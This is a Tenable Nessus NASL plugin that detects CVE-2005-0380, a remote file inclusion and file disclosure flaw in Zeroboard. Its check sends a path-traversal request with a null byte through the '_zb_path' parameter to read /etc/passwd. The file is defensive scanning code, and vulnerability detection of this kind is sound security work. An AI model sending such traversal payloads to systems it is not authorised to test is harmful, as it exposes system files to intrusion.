ZeroBoard Multiple Scripts dir Parameter Remote File Inclusion

#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#

include('deprecated_nasl_level.inc');
include('compat.inc');

if (description)
{
  script_id(16178);
  script_version("1.20");
  script_set_attribute(attribute:"plugin_modification_date", value:"2022/04/11");

  script_cve_id("CVE-2005-0380");
  script_bugtraq_id(12258);

  script_name(english:"ZeroBoard Multiple Scripts dir Parameter Remote File Inclusion");

  script_set_attribute(attribute:"synopsis", value:
"The remote web server contains several PHP scripts that are prone to
arbitrary PHP code execution and file disclosure attacks.");
  script_set_attribute(attribute:"description", value:
"The remote host runs Zeroboard, a web BBS application popular in Korea. 

The remote version of this CGI is vulnerable to multiple flaws which may
allow an attacker to execute arbitrary PHP commands on the remote host
by including a PHP file hosted on a third-party server, or to read
arbitrary files with the privileges of the remote web server.");
  script_set_attribute(attribute:"see_also", value:"https://marc.info/?l=bugtraq&m=110565373407474&w=2");
  script_set_attribute(attribute:"solution", value:
"Upgrade to Zeroboard 4.1pl6 or later.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:U/RL:OF/RC:C");

  script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
  script_set_attribute(attribute:"exploit_available", value:"false");

  script_set_attribute(attribute:"vuln_publication_date", value:"2005/01/13");
  script_set_attribute(attribute:"plugin_publication_date", value:"2005/01/17");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"thorough_tests", value:"true");
  script_end_attributes();

  script_category(ACT_GATHER_INFO);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2005-2022 Tenable Network Security, Inc.");

  script_dependencies("http_version.nasl");
  script_require_keys("www/PHP");
  script_exclude_keys("Settings/disable_cgi_scanning");
  script_require_ports("Services/www", 80);

  exit(0);
}

#the code

include("global_settings.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("misc_func.inc");

port = get_http_port(default:80, embedded:TRUE);
if (get_kb_item("Services/www/"+port+"/embedded")) exit(0);
if ( ! can_host_php(port:port) ) exit(0);

if (thorough_tests) dirs = list_uniq(make_list("/bbs", cgi_dirs()));
else dirs = make_list(cgi_dirs());

foreach dir (dirs) {
 req = http_get(item:string(dir, "/_head.php?_zb_path=../../../../../../../../../../etc/passwd%00"), port:port);
 res = http_keepalive_send_recv(port:port, data:req, bodyonly:TRUE);
 if(isnull(res)) exit(0);
 if(egrep(pattern:"root:.*:0:[01]:", string:res)){
        security_hole(port);
        exit(0);
        }
}